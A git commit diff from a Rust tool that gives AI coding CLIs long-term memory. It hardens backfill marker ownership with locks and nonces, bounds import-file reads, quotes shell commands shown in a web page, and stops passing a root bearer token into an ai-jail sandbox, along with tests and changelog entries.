Solution for long term memory for agent coding CLIs and to facilitate handoff between different agent vendors
Rust
fix: harden audited release paths
AkitaOnRailsc75101dee19b
diff --git a/CHANGELOG.md b/CHANGELOG.mdindex 3dbba76f..0ea4c3a1 100644--- a/CHANGELOG.md+++ b/CHANGELOG.md@@ -43,7 +43,9 @@ version in [`docs/changelog/`](docs/changelog/):`.claude/CLAUDE.md` loads `.claude/AGENTS.md`, a fenced `@AGENTS.md` loadsnothing, and `@AGENTS.md` in a parent directory loads that directory's file.The note now compares the resolved path with the file being written and- names the import that reaches it. (#1298)+ names the import that reaches it. Recursive detection reads at most 256 KiB+ per file and 1 MiB per import graph, and skips oversized or non-UTF-8 files.+ (#1298)- Fixed Antigravity CLI posting a session start and claiming a handoff on everyuser turn: `invocationNum` restarts at 0 each turn, so only the first turn ofa conversation (keyed by `conversationId`) now maps to SessionStart, in the@@ -74,7 +76,10 @@ version in [`docs/changelog/`](docs/changelog/):section before them replaced those sections too. Profile harvesting had thesame flaw: the code after such a line was read as prose and could beharvested as a preference. A fence now closes only on a run of the same- character that is at least as long. (#1316)+ character that is at least as long, with no more than the three leading+ ASCII spaces CommonMark permits. Four-space, tab and Unicode-whitespace+ pseudo-fences stay code in profile harvesting, section patches and wiki+ link extraction or rewriting. (#1316)- Fixed the thin-client commands ignoring a custom `bind`, which could writeinto the wrong store. `server_url` defaulted to `http://127.0.0.1:49374`and was never derived from `bind`, so `ai-memory --data-dir X status` (and@@ -91,7 +96,8 @@ version in [`docs/changelog/`](docs/changelog/):`bind` resolves to the same URL as before, so an install that never changedeither key is unaffected. `install-hooks` and `install-mcp` still prefer anexisting MCP entry's URL, and otherwise write the derived URL instead of the- default port. (#1269)+ default port. The loader now retains that explicit provenance when the file+ deliberately names the default URL. (#1269)- Fixed a burst of sessions in a directory with no backfill marker launchingone `backfill --auto` per session. The SessionStart hook now takes anatomic in-progress marker before it spawns the backfill, so concurrent@@ -99,14 +105,18 @@ version in [`docs/changelog/`](docs/changelog/):ends and a leftover one stops blocking after 30 minutes. The backfill'semptiness check against the server also gives up after 30 seconds insteadof waiting forever on a saturated server. Keying the trigger on the project- rather than the directory is not part of this change. (#1287)+ rather than the directory is not part of this change. Each marker now has an+ unpredictable ownership nonce under an advisory lock, so a delayed worker+ cannot refresh or remove a newer stale takeover. (#1287)- Fixed `/web/pending` offering Approve and Reject buttons that always failedwith `401: unknown error` on a server with a bearer token and no passwordsign-in. The browser reaches `/web` there with the root token over HTTPBasic, which only admits reads. The page now says so, points to passwordsign-in, and shows each proposal's `ai-memory pending-writes approve` /- `reject` command instead; a decision that fails for another reason now shows- the server's message even when it is plain text. (#1288)+ `reject` command instead, separately quoted for POSIX shells and PowerShell;+ stored workspace or project names cannot inject shell syntax. A decision+ that fails for another reason now shows the server's message even when it is+ plain text. (#1288)- Fixed the managed routing snippet's claim that Claude Code never reads`AGENTS.md`. Claude Code 2.1.277 and later reads it when no `CLAUDE.md`,`.claude/CLAUDE.md`, or `CLAUDE.local.md` is present, and reads that file@@ -150,7 +160,9 @@ version in [`docs/changelog/`](docs/changelog/):it, so it stayed out of the vector stream of hybrid search until anembedding backfill ran, which by default is only at the next serverstart. These paths now embed each written page the same way- `memory_write_page` does. (#1258)+ `memory_write_page` does. A provider or embedding-store failure after the+ durable page commit is recorded for backfill but no longer reports the whole+ mutation as failed or prevents later post-commit webhook dispatch. (#1258)- Fixed `ai-memory run` reporting `server unavailable` for a heartbeat theserver answered and rejected. A heartbeat is rejected once its managed runstops being active, which on a workstation usually means a later `run`@@ -160,13 +172,16 @@ version in [`docs/changelog/`](docs/changelog/):server that answered `409 managed run lease is not active` in about amillisecond read as an outage. The notice now carries the server's own reasonfor a rejection, and keeps the outage wording only for a server the launcher- could not reach. (#1277)-- Fixed `ai-memory run --yolo` failing with `401 Unauthorized` after it- re-ran itself under ai-jail on an install whose bearer token lives in- `[auth].bearer_token_file`. ai-jail's private home hides the data dir, so- the jailed run had no token. The outer run now passes the token it resolved,- and a `server_url` set in `config.toml` or derived from `bind`, into the- jail through the environment, never the command line. (#1284)+ could not reach. A peer that accepts the connection but closes before an HTTP+ response is also classified as unreachable, and the tests no longer race to+ reuse a released ephemeral port. (#1277)+- Fixed `ai-memory run --jail` losing the configured server route inside+ ai-jail's private home. The outer run forwards an explicit or bind-derived+ `server_url` and `base_path`. It does not promote a root bearer read from+ `config.toml` or `bearer_token_file` into the harness environment: that case+ now stops with an actionable error and requires a least-privilege+ `AI_MEMORY_AUTH_TOKEN`, while a token the operator already supplied in the+ environment continues across the existing child-process boundary. (#1284)- Updated rustls to 0.23.46 for RUSTSEC-2026-0346, -0347, -0348 and -0349,in the server and in the importer, relay and wikisync companions, and theimporter's anyhow to 1.0.104 for RUSTSEC-2026-0190. (#1286)diff --git a/crates/ai-memory-cli/src/cli.rs b/crates/ai-memory-cli/src/cli.rsindex 2834f73a..4503df34 100644--- a/crates/ai-memory-cli/src/cli.rs+++ b/crates/ai-memory-cli/src/cli.rs@@ -2031,6 +2031,10 @@ pub struct BackfillArgs {/// been attempted for this checkout. Not for interactive use.#[arg(long, hide = true)]pub auto: bool,+ /// Internal ownership token for the automatic backfill's in-flight marker.+ /// The SessionStart hook mints and passes it to its detached child.+ #[arg(long, hide = true, requires = "auto")]+ pub inflight_claim: Option<String>,/// Internal: deliver to the server the spawning hook is installed/// against, instead of the configured one. Set by the SessionStart/// trigger so the backfill cannot depend on the agent's environment.diff --git a/crates/ai-memory-cli/src/commands/backfill.rs b/crates/ai-memory-cli/src/commands/backfill.rsindex bf7826da..9512e11a 100644--- a/crates/ai-memory-cli/src/commands/backfill.rs+++ b/crates/ai-memory-cli/src/commands/backfill.rs@@ -36,6 +36,7 @@ use std::path::PathBuf;use std::time::{Duration, SystemTime};use anyhow::{Context, Result, bail};+use fs2::FileExt as _;use serde::{Deserialize, Serialize};use ai_memory_core::{NewWorkstreamEvent, WorkstreamEventKind};@@ -157,81 +158,148 @@ fn inflight_path(data_dir: &Path, cwd: &Path) -> PathBuf {PathBuf::from(path)}+fn inflight_lock_path(data_dir: &Path, cwd: &Path) -> PathBuf {+ let mut path = inflight_path(data_dir, cwd).into_os_string();+ path.push(".lock");+ PathBuf::from(path)+}++/// Unpredictable ownership nonce for one in-flight marker.+#[derive(Debug, Clone, PartialEq, Eq)]+pub(crate) struct InflightClaim(String);++impl InflightClaim {+ fn new() -> Self {+ // UUID v4 draws from the operating system CSPRNG. The simple form is+ // path- and argv-safe while retaining 122 random bits.+ Self(uuid::Uuid::new_v4().simple().to_string())+ }++ fn parse(raw: &str) -> Option<Self> {+ uuid::Uuid::parse_str(raw)+ .ok()+ .map(|token| Self(token.simple().to_string()))+ }++ pub(crate) fn as_str(&self) -> &str {+ &self.0+ }+}++/// Run one marker mutation while holding the checkout's advisory lock.+///+/// Hook calls must remain non-blocking, so contention or an unusable state+/// directory fails closed instead of waiting. The lock file intentionally+/// remains in place: unlinking an advisory-lock file can split contenders+/// across two inodes and destroy serialization.+fn with_inflight_lock<T>(data_dir: &Path, cwd: &Path, operation: impl FnOnce() -> T) -> Option<T> {+ let lock_path = inflight_lock_path(data_dir, cwd);+ if let Some(parent) = lock_path.parent() {+ std::fs::create_dir_all(parent).ok()?;+ }+ let lock = std::fs::OpenOptions::new()+ .read(true)+ .write(true)+ .create(true)+ .truncate(false)+ .open(lock_path)+ .ok()?;+ lock.try_lock_exclusive().ok()?;+ let result = operation();+ let _ = fs2::FileExt::unlock(&lock);+ Some(result)+}+/// Claim the right to spawn the automatic backfill for `cwd`.///-/// Returns `true` when this caller created the marker and must spawn (or call-/// [`release_inflight`] if the spawn fails). `O_CREAT|O_EXCL` makes the claim-/// atomic, so a burst of SessionStart hooks in a directory with no sentinel-/// launches one backfill, not one per session. A marker older than-/// [`INFLIGHT_STALE_AFTER`] is replaced; a running worker keeps its marker-/// fresh with [`refresh_inflight`], so only a dead worker's marker goes stale.-pub(crate) fn claim_inflight(data_dir: &Path, cwd: &Path) -> bool {+/// Returns an ownership token when this caller created the marker and must+/// spawn (or call [`release_inflight`] if the spawn fails). The token travels+/// to the detached worker and prevents a delayed old worker from refreshing or+/// releasing a newer stale takeover. `O_CREAT|O_EXCL` plus the per-checkout+/// lock makes a burst of SessionStart hooks launch exactly one backfill.+pub(crate) fn claim_inflight(data_dir: &Path, cwd: &Path) -> Option<InflightClaim> {let path = inflight_path(data_dir, cwd);- if let Some(parent) = path.parent() {- let _ = std::fs::create_dir_all(parent);- }- for _ in 0..2 {- match std::fs::OpenOptions::new()- .write(true)- .create_new(true)- .open(&path)- {- Ok(mut file) => {- use std::io::Write as _;- let _ = write!(file, "{}", std::process::id());- return true;- }- Err(error) if error.kind() == std::io::ErrorKind::AlreadyExists => {- let stale = std::fs::metadata(&path)- .and_then(|meta| meta.modified())- .ok()- .and_then(|modified| modified.elapsed().ok())- .is_some_and(|age| age >= INFLIGHT_STALE_AFTER);- if !stale {- return false;+ let claim = InflightClaim::new();+ with_inflight_lock(data_dir, cwd, || {+ for _ in 0..2 {+ match std::fs::OpenOptions::new()+ .write(true)+ .create_new(true)+ .open(&path)+ {+ Ok(mut file) => {+ use std::io::Write as _;+ if file.write_all(claim.as_str().as_bytes()).is_err() {+ let _ = std::fs::remove_file(&path);+ return None;+ }+ return Some(claim.clone());}- // Two hooks can see the same stale marker. Renaming it to a- // name only this process uses is atomic, so exactly one of- // them moves it aside and retries the claim; the other's- // rename fails and it backs off. Removing the marker in- // place would let the slower hook delete the faster one's- // fresh claim.- let mut aside = path.clone().into_os_string();- aside.push(format!(".stale.{}", std::process::id()));- if std::fs::rename(&path, &aside).is_err() {- return false;+ Err(error) if error.kind() == std::io::ErrorKind::AlreadyExists => {+ let stale = std::fs::metadata(&path)+ .and_then(|meta| meta.modified())+ .ok()+ .and_then(|modified| modified.elapsed().ok())+ .is_some_and(|age| age >= INFLIGHT_STALE_AFTER);+ if !stale {+ return None;+ }+ let mut aside = path.clone().into_os_string();+ aside.push(format!(".stale.{}", claim.as_str()));+ if std::fs::rename(&path, &aside).is_err() {+ return None;+ }+ let _ = std::fs::remove_file(&aside);}- let _ = std::fs::remove_file(&aside);+ // An unwritable state dir must not turn into a spawn storm.+ Err(_) => return None,}- // An unwritable state dir must not turn into a spawn storm either:- // the pre-guard behavior is not worth keeping for this case.- Err(_) => return false,}- }- false+ None+ })+ .flatten()}-/// Re-stamp the in-progress marker with this worker's pid and the current-/// time. The worker calls it as it starts and after each imported session, so-/// a backfill that runs longer than [`INFLIGHT_STALE_AFTER`] is not mistaken-/// for a dead one and joined by a second worker.-fn refresh_inflight(data_dir: &Path, cwd: &Path) {- let _ = std::fs::write(inflight_path(data_dir, cwd), std::process::id().to_string());+/// Refresh the marker only while `claim` still owns it.+fn refresh_inflight(data_dir: &Path, cwd: &Path, claim: &InflightClaim) -> bool {+ with_inflight_lock(data_dir, cwd, || {+ let path = inflight_path(data_dir, cwd);+ let Ok(contents) = std::fs::read_to_string(&path) else {+ return false;+ };+ if contents != claim.as_str() {+ return false;+ }+ std::fs::File::options()+ .write(true)+ .open(path)+ .and_then(|file| file.set_modified(SystemTime::now()))+ .is_ok()+ })+ .unwrap_or(false)}/// Drop the in-progress marker taken by [`claim_inflight`].-pub(crate) fn release_inflight(data_dir: &Path, cwd: &Path) {- let _ = std::fs::remove_file(inflight_path(data_dir, cwd));+pub(crate) fn release_inflight(data_dir: &Path, cwd: &Path, claim: &InflightClaim) -> bool {+ with_inflight_lock(data_dir, cwd, || {+ let path = inflight_path(data_dir, cwd);+ if std::fs::read_to_string(&path).ok().as_deref() != Some(claim.as_str()) {+ return false;+ }+ std::fs::remove_file(path).is_ok()+ })+ .unwrap_or(false)}struct InflightGuard<'a> {data_dir: &'a Path,cwd: &'a Path,+ claim: InflightClaim,}impl Drop for InflightGuard<'_> {fn drop(&mut self) {- release_inflight(self.data_dir, self.cwd);+ release_inflight(self.data_dir, self.cwd, &self.claim);}}@@ -296,12 +364,17 @@ pub async fn run(config: &Config, args: crate::cli::BackfillArgs) -> Result<()>async fn run_in(config: &Config, args: crate::cli::BackfillArgs, cwd: PathBuf) -> Result<()> {// The SessionStart hook took the in-progress marker before spawning this// worker; free it however the run ends so a failed run can be retried.- let _inflight = args.auto.then_some(InflightGuard {+ let inflight_claim = args+ .inflight_claim+ .as_deref()+ .and_then(InflightClaim::parse);+ let _inflight = inflight_claim.clone().map(|claim| InflightGuard {data_dir: &config.data_dir,cwd: &cwd,+ claim,});- if args.auto {- refresh_inflight(&config.data_dir, &cwd);+ if let Some(claim) = &inflight_claim {+ refresh_inflight(&config.data_dir, &cwd, claim);}// The automatic (SessionStart-spawned) path honors the opt-out and records// that it has been attempted for this checkout, so it runs at most once per@@ -373,8 +446,8 @@ async fn run_in(config: &Config, args: crate::cli::BackfillArgs, cwd: PathBuf) -Ok(events) => {report.imported_sessions += 1;report.imported_events += events;- if args.auto {- refresh_inflight(&config.data_dir, &cwd);+ if let Some(claim) = &inflight_claim {+ refresh_inflight(&config.data_dir, &cwd, claim);}}Err(error) => {@@ -1326,13 +1399,25 @@ mod tests {let app = Path::new("/home/me/projects/app");let other = Path::new("/home/me/projects/other");- assert!(claim_inflight(data.path(), app));- assert!(!claim_inflight(data.path(), app), "second burst member");- assert!(!claim_inflight(data.path(), app), "third burst member");- assert!(claim_inflight(data.path(), other), "separate checkout");+ let claim = claim_inflight(data.path(), app).unwrap();+ assert!(+ claim_inflight(data.path(), app).is_none(),+ "second burst member"+ );+ assert!(+ claim_inflight(data.path(), app).is_none(),+ "third burst member"+ );+ assert!(+ claim_inflight(data.path(), other).is_some(),+ "separate checkout"+ );- release_inflight(data.path(), app);- assert!(claim_inflight(data.path(), app), "free again after release");+ assert!(release_inflight(data.path(), app, &claim));+ assert!(+ claim_inflight(data.path(), app).is_some(),+ "free again after release"+ );}/// A worker that died without releasing its marker must not block the@@ -1341,7 +1426,7 @@ mod tests {fn a_stale_inflight_marker_is_replaced() {let data = tempfile::tempdir().unwrap();let cwd = Path::new("/home/me/projects/app");- assert!(claim_inflight(data.path(), cwd));+ claim_inflight(data.path(), cwd).unwrap();let marker = inflight_path(data.path(), cwd);let old = SystemTime::now() - INFLIGHT_STALE_AFTER - Duration::from_secs(60);@@ -1353,19 +1438,22 @@ mod tests {.unwrap();assert!(- claim_inflight(data.path(), cwd),+ claim_inflight(data.path(), cwd).is_some(),"stale marker is taken over");- assert!(!claim_inflight(data.path(), cwd), "the new claim holds");+ assert!(+ claim_inflight(data.path(), cwd).is_none(),+ "the new claim holds"+ );}/// A worker's refresh makes an old marker fresh again, so a long backfill- /// keeps its claim; the refreshed marker names the worker.+ /// keeps its claim; the refreshed marker retains its ownership token.#[test]fn a_refreshed_marker_is_not_taken_over() {let data = tempfile::tempdir().unwrap();let cwd = Path::new("/home/me/projects/app");- assert!(claim_inflight(data.path(), cwd));+ let claim = claim_inflight(data.path(), cwd).unwrap();let marker = inflight_path(data.path(), cwd);let old = SystemTime::now() - INFLIGHT_STALE_AFTER - Duration::from_secs(60);std::fs::File::options()@@ -1374,12 +1462,42 @@ mod tests {.unwrap().set_modified(old).unwrap();- refresh_inflight(data.path(), cwd);- assert!(!claim_inflight(data.path(), cwd), "a live worker keeps it");+ assert!(refresh_inflight(data.path(), cwd, &claim));+ assert!(+ claim_inflight(data.path(), cwd).is_none(),+ "a live worker keeps it"+ );+ assert_eq!(std::fs::read_to_string(&marker).unwrap(), claim.as_str());+ }++ /// Once a stale marker has been taken over, the previous worker cannot+ /// refresh or release the replacement marker even if it resumes later.+ #[test]+ fn stale_takeover_refuses_the_previous_owners_refresh_and_release() {+ let data = tempfile::tempdir().unwrap();+ let cwd = Path::new("/home/me/projects/app");+ let previous = claim_inflight(data.path(), cwd).unwrap();+ let marker = inflight_path(data.path(), cwd);+ let old = SystemTime::now() - INFLIGHT_STALE_AFTER - Duration::from_secs(60);+ std::fs::File::options()+ .write(true)+ .open(&marker)+ .unwrap()+ .set_modified(old)+ .unwrap();++ let replacement = claim_inflight(data.path(), cwd).unwrap();+ assert_ne!(previous, replacement);+ assert!(!refresh_inflight(data.path(), cwd, &previous));+ assert!(!release_inflight(data.path(), cwd, &previous));assert_eq!(std::fs::read_to_string(&marker).unwrap(),- std::process::id().to_string()+ replacement.as_str(),+ "the replacement owner remains intact");+ assert!(refresh_inflight(data.path(), cwd, &replacement));+ assert!(release_inflight(data.path(), cwd, &replacement));+ assert!(!marker.exists());}/// The stale takeover leaves no `.stale.*` file behind and exactly one@@ -1388,7 +1506,7 @@ mod tests {fn a_stale_takeover_leaves_one_marker_and_no_debris() {let data = tempfile::tempdir().unwrap();let cwd = Path::new("/home/me/projects/app");- assert!(claim_inflight(data.path(), cwd));+ claim_inflight(data.path(), cwd).unwrap();let marker = inflight_path(data.path(), cwd);let old = SystemTime::now() - INFLIGHT_STALE_AFTER - Duration::from_secs(60);std::fs::File::options()@@ -1397,13 +1515,24 @@ mod tests {.unwrap().set_modified(old).unwrap();- assert!(claim_inflight(data.path(), cwd));+ claim_inflight(data.path(), cwd).unwrap();let names: Vec<String> = std::fs::read_dir(marker.parent().unwrap()).unwrap().map(|entry| entry.unwrap().file_name().to_string_lossy().into_owned()).collect();- assert_eq!(names.len(), 1, "{names:?}");- assert!(names[0].ends_with(".inflight"), "{names:?}");+ assert_eq!(names.len(), 2, "marker plus its stable lock: {names:?}");+ assert!(+ names.iter().any(|name| name.ends_with(".inflight")),+ "{names:?}"+ );+ assert!(+ names.iter().any(|name| name.ends_with(".inflight.lock")),+ "{names:?}"+ );+ assert!(+ names.iter().all(|name| !name.contains(".stale.")),+ "{names:?}"+ );}#[test]@@ -3037,6 +3166,7 @@ mod tests {json: false,quiet: true,auto: true,+ inflight_claim: None,server_url: server_url.map(str::to_owned),server_profile: server_profile.map(str::to_owned),}@@ -3126,17 +3256,17 @@ mod tests {config.server_url = "http://127.0.0.1:9".to_string();let cwd = data_dir.path().join("checkout");std::fs::create_dir_all(&cwd).unwrap();- assert!(claim_inflight(&config.data_dir, &cwd));+ let claim = claim_inflight(&config.data_dir, &cwd).unwrap();+ let mut args = spawned_args(None, None);+ args.inflight_claim = Some(claim.as_str().to_owned());- run_in(&config, spawned_args(None, None), cwd.clone())- .await- .unwrap();+ run_in(&config, args, cwd.clone()).await.unwrap();assert!(!inflight_path(&config.data_dir, &cwd).exists(),"the worker must release its marker");assert!(- claim_inflight(&config.data_dir, &cwd),+ claim_inflight(&config.data_dir, &cwd).is_some(),"free for the next run");}diff --git a/crates/ai-memory-cli/src/commands/doctor.rs b/crates/ai-memory-cli/src/commands/doctor.rsindex e9b26185..725a7197 100644--- a/crates/ai-memory-cli/src/commands/doctor.rs+++ b/crates/ai-memory-cli/src/commands/doctor.rs@@ -177,7 +177,7 @@ struct DoctorReport {/// established convention are simply absent from this list.native_memory: Vec<NativeMemoryReport>,/// The local hook spool: events waiting for the server, and whether it is- /// full and evicting undelivered ones.+ /// full and dropping newly captured events.spool: super::hook_spool::SpoolHealth,/// Nothing answered at the server URL; capture counts are unavailable and/// hook events are being spooled.@@ -973,10 +973,10 @@ fn render_capture_health(report: &DoctorReport) -> String {));}let spool = &report.spool;- if spool.evicting() {+ if spool.at_capacity() {out.push_str(&format!(- "⚠ The hook spool is full ({} events, oldest {}): each new event evicts the \- oldest undelivered one, which is lost until the server is back.\n",+ "⚠ The hook spool is full ({} events, oldest {}): newly captured events are \+ dropped until space is available.\n",spool.pending,spool_age(spool.oldest_age_ms),));diff --git a/crates/ai-memory-cli/src/commands/hook.rs b/crates/ai-memory-cli/src/commands/hook.rsindex 99942548..a60f3d2a 100644--- a/crates/ai-memory-cli/src/commands/hook.rs+++ b/crates/ai-memory-cli/src/commands/hook.rs@@ -1073,14 +1073,14 @@ whereif args.event == "session-start"&& let Ok(trigger_cwd) = std::env::current_dir()&& !super::backfill::sentinel_path(&dd, &trigger_cwd).exists()- && super::backfill::claim_inflight(&dd, &trigger_cwd)+ && let Some(backfill_claim) = super::backfill::claim_inflight(&dd, &trigger_cwd){let target = match profile_name {Some(name) => hook_drain_process::BackfillTarget::Profile(name),None => hook_drain_process::BackfillTarget::ServerUrl(base),};- if hook_drain_process::spawn_backfill(&dd, target).is_err() {- super::backfill::release_inflight(&dd, &trigger_cwd);+ if hook_drain_process::spawn_backfill(&dd, target, backfill_claim.as_str()).is_err() {+ super::backfill::release_inflight(&dd, &trigger_cwd, &backfill_claim);}}}diff --git a/crates/ai-memory-cli/src/commands/hook_drain_process.rs b/crates/ai-memory-cli/src/commands/hook_drain_process.rsindex aeab13ba..b9190ec8 100644--- a/crates/ai-memory-cli/src/commands/hook_drain_process.rs+++ b/crates/ai-memory-cli/src/commands/hook_drain_process.rs@@ -118,6 +118,7 @@ pub enum BackfillTarget<'a> {pub fn backfill_command_spec(data_dir: &Path,target: BackfillTarget<'_>,+ inflight_claim: &str,) -> io::Result<DrainCommandSpec> {let (flag, value) = match target {BackfillTarget::ServerUrl(url) => ("--server-url", url),@@ -131,6 +132,8 @@ pub fn backfill_command_spec(OsString::from("backfill"),OsString::from("--auto"),OsString::from("--quiet"),+ OsString::from("--inflight-claim"),+ OsString::from(inflight_claim),OsString::from(flag),OsString::from(value),],@@ -141,8 +144,12 @@ pub fn backfill_command_spec(/// Spawn the detached one-time boot backfill without inheriting hook stdio./// Best-effort: a spawn failure must never break session start.-pub fn spawn_backfill(data_dir: &Path, target: BackfillTarget<'_>) -> io::Result<()> {- let spec = backfill_command_spec(data_dir, target)?;+pub fn spawn_backfill(+ data_dir: &Path,+ target: BackfillTarget<'_>,+ inflight_claim: &str,+) -> io::Result<()> {+ let spec = backfill_command_spec(data_dir, target, inflight_claim)?;spawn_spec(&spec)}@@ -383,27 +390,37 @@ mod tests {}/// The backfill goes where the hook resolved, and a profile travels as a- /// name only — the worker reads its token from the data dir.+ /// name only — the worker reads its server credential from the data dir.#[test]- fn backfill_carries_the_hooks_target_and_no_token() {+ fn backfill_carries_the_hooks_target_and_no_bearer() {let tmp = tempfile::tempdir().unwrap();- let default =- backfill_command_spec(tmp.path(), BackfillTarget::ServerUrl("https://a.example"))- .unwrap();+ let default = backfill_command_spec(+ tmp.path(),+ BackfillTarget::ServerUrl("https://a.example"),+ "11111111222243338444555555555555",+ )+ .unwrap();assert_eq!(&default.args[2..],["backfill","--auto","--quiet",+ "--inflight-claim",+ "11111111222243338444555555555555","--server-url","https://a.example"].map(OsString::from));- let profile = backfill_command_spec(tmp.path(), BackfillTarget::Profile("team-b")).unwrap();+ let profile = backfill_command_spec(+ tmp.path(),+ BackfillTarget::Profile("team-b"),+ "11111111222243338444555555555555",+ )+ .unwrap();assert_eq!(- &profile.args[5..],+ &profile.args[7..],["--server-profile", "team-b"].map(OsString::from));assert!(profile.live_token.is_none());diff --git a/crates/ai-memory-cli/src/commands/hook_spool.rs b/crates/ai-memory-cli/src/commands/hook_spool.rsindex e4a0b4c1..2889333a 100644--- a/crates/ai-memory-cli/src/commands/hook_spool.rs+++ b/crates/ai-memory-cli/src/commands/hook_spool.rs@@ -51,8 +51,9 @@ impl MaxAttempts {/// Drop a spooled event older than this regardless of attempts (7 days), so a/// long-dead instance can't leave the spool growing without bound.const MAX_AGE_MS: u64 = 7 * 24 * 60 * 60 * 1000;-/// Hard cap on queued events per data dir. Enqueue prunes oldest files beyond-/// this so a down server cannot grow the hook spool without bound.+/// Hard cap on queued events per data dir. Once full, enqueue preserves the+/// existing backlog and drops the new event so a down server cannot grow the+/// hook spool without bound.#[cfg(not(test))]const MAX_SPOOL_FILES: usize = 10_000;#[cfg(test)]@@ -160,8 +161,7 @@ pub struct SpoolHealth {pub oldest_age_ms: Option<u64>,/// Sum of failed-delivery attempts across all queued events.pub retries_total: u64,- /// Most events the spool holds; past it the oldest undelivered ones are- /// evicted to make room.+ /// Most events the spool holds; new events are dropped while it is full.pub capacity: usize,}@@ -177,9 +177,9 @@ impl Default for SpoolHealth {}impl SpoolHealth {- /// The spool is full, so each new event evicts the oldest undelivered one.+ /// The spool is full, so each new event is dropped.#[must_use]- pub fn evicting(&self) -> bool {+ pub fn at_capacity(&self) -> bool {self.pending >= self.capacity}}diff --git a/crates/ai-memory-cli/src/commands/install_instructions.rs b/crates/ai-memory-cli/src/commands/install_instructions.rsindex ba867a73..0973fa8a 100644--- a/crates/ai-memory-cli/src/commands/install_instructions.rs+++ b/crates/ai-memory-cli/src/commands/install_instructions.rs@@ -13,6 +13,7 @@//! file. Idempotent via HTML-comment markers so re-running picks up//! whatever the snippet evolves into without duplicating the block.+use std::io::Read as _;use std::path::{Component, Path, PathBuf};use anyhow::{Context, Result};@@ -235,14 +236,22 @@ fn written_agents_files(targets: &[PathBuf], cwd: &Path) -> Vec<PathBuf> {/// How many import hops Claude Code follows from a memory file: an imported/// file may import others, up to this depth.const MAX_IMPORT_HOPS: usize = 4;+/// One imported instruction file can be user-controlled. Detection only needs+/// enough text to find ordinary `@path` directives, so do not allocate an+/// arbitrarily large file merely to decide whether Claude reads AGENTS.md.+const MAX_IMPORT_FILE_BYTES: usize = 256 * 1024;+/// Bound a broad import graph as well as each individual file.+const MAX_IMPORT_TOTAL_BYTES: usize = 1024 * 1024;fn file_imports_written_agents(path: &Path, agents: &[PathBuf], home: Option<&Path>) -> bool {+ let mut remaining = MAX_IMPORT_TOTAL_BYTES;imports_within(path,agents,home,MAX_IMPORT_HOPS,&mut std::collections::HashSet::new(),+ &mut remaining,)}@@ -255,20 +264,40 @@ fn imports_within(home: Option<&Path>,hops: usize,seen: &mut std::collections::HashSet<PathBuf>,+ remaining: &mut usize,) -> bool {if hops == 0 || !seen.insert(path.to_path_buf()) {return false;}- let Ok(text) = std::fs::read_to_string(path) else {+ let Some(text) = read_bounded_import(path, remaining) else {return false;};claude_import_paths(&text).into_iter().any(|raw| {let resolved = resolve_claude_import(&raw, path, home);agents.iter().any(|target| paths_match(&resolved, target))- || (resolved.is_file() && imports_within(&resolved, agents, home, hops - 1, seen))+ || (resolved.is_file()+ && imports_within(&resolved, agents, home, hops - 1, seen, remaining))})}+fn read_bounded_import(path: &Path, remaining: &mut usize) -> Option<String> {+ let allowance = (*remaining).min(MAX_IMPORT_FILE_BYTES);+ if allowance == 0 {+ return None;+ }+ let file = std::fs::File::open(path).ok()?;+ let mut bytes = Vec::with_capacity(allowance.min(8 * 1024));+ file.take((allowance + 1) as u64)+ .read_to_end(&mut bytes)+ .ok()?;+ let consumed = bytes.len().min(allowance);+ *remaining = remaining.saturating_sub(consumed);+ if bytes.len() > allowance {+ return None;+ }+ String::from_utf8(bytes).ok()+}+/// `@path` relative to the importing file, so `.claude/CLAUDE.md` needs/// `@../AGENTS.md` and a parent file needs `@app/AGENTS.md`.fn suggested_agents_import(importer: &Path, agents: &Path) -> String {@@ -720,6 +749,52 @@ mod tests {));}+ #[test]+ fn claude_import_detection_refuses_oversized_and_non_utf8_files() {+ let root = tempfile::tempdir().unwrap();+ let agents = root.path().join("AGENTS.md");+ std::fs::write(&agents, "# rules\n").unwrap();++ let mut oversized = b"@AGENTS.md\n".to_vec();+ oversized.resize(MAX_IMPORT_FILE_BYTES + 1, b'x');+ let claude = root.path().join("CLAUDE.md");+ std::fs::write(&claude, oversized).unwrap();+ assert!(!file_imports_written_agents(+ &claude,+ std::slice::from_ref(&agents),+ None+ ));++ std::fs::write(&claude, [b'@', 0xff, b'\n']).unwrap();+ assert!(!file_imports_written_agents(+ &claude,+ std::slice::from_ref(&agents),+ None+ ));+ }++ #[test]+ fn claude_import_detection_bounds_the_whole_import_graph() {+ let root = tempfile::tempdir().unwrap();+ let agents = root.path().join("AGENTS.md");+ std::fs::write(&agents, "# rules\n").unwrap();+ std::fs::write(+ root.path().join("CLAUDE.md"),+ )+ .unwrap();+ for name in ["one.md", "two.md", "three.md", "four.md"] {+ std::fs::write(root.path().join(name), vec![b'x'; MAX_IMPORT_FILE_BYTES]).unwrap();+ }+ std::fs::write(root.path().join("leaf.md"), "@AGENTS.md\n").unwrap();++ assert!(!file_imports_written_agents(+ &root.path().join("CLAUDE.md"),+ std::slice::from_ref(&agents),+ None+ ));+ }+#[test]fn claude_code_agents_import_matches_five_measured_cases() {struct Case<'a> {diff --git a/crates/ai-memory-cli/src/commands/run.rs b/crates/ai-memory-cli/src/commands/run.rsindex 51de8cf1..ecff553b 100644--- a/crates/ai-memory-cli/src/commands/run.rs+++ b/crates/ai-memory-cli/src/commands/run.rs@@ -588,6 +588,7 @@ async fn run_once_with_wiring(// jailed process opens its own, so preparing one out here would only be// cancelled again.if let (JailMode::Explicit(spec), Some(ai_jail)) = (&jail_plan.mode, &ai_jail) {+ ensure_jail_does_not_export_config_token(config)?;let support = ai_jail_support(ai_jail).with_context(|| format!("reading the toggles {} supports", ai_jail.display()))?;// With a project `.ai-jail` nothing is pre-checked, so a bare@@ -2521,6 +2522,7 @@ async fn confirm_yolo_and_maybe_reexec(.context("waiting for the ai-jail checklist")?.context("reading the ai-jail checklist from stdin")?};+ ensure_jail_does_not_export_config_token(config)?;// The re-exec replaces this process (or, off Unix, this process exits// once the child does), so its own prepared lease must be released here// rather than left to the 90s orphan timeout — the jailed re-run opens@@ -2586,16 +2588,11 @@ fn jail_forwarded_names(config: &Config, resolved: &[(&'static str, String)]) ->.collect()}-/// Values this run resolved from its config and data dir that the jailed-/// re-run cannot resolve again: ai-jail's private home hides the data dir that-/// holds `config.toml` and `auth-tokens/`, so a bearer read from-/// `[auth].bearer_token_file` (the default since `init` provisions one) or a-/// `server_url` set in the config file would be gone inside, and every-/// server call would fail with 401 or reach the wrong server. They go on the-/// ai-jail child's environment, never its argv, and cross into the jail by-/// name like every other [`FORWARDED_ENV_NAMES`] entry. When the environment-/// variable was set already it won in 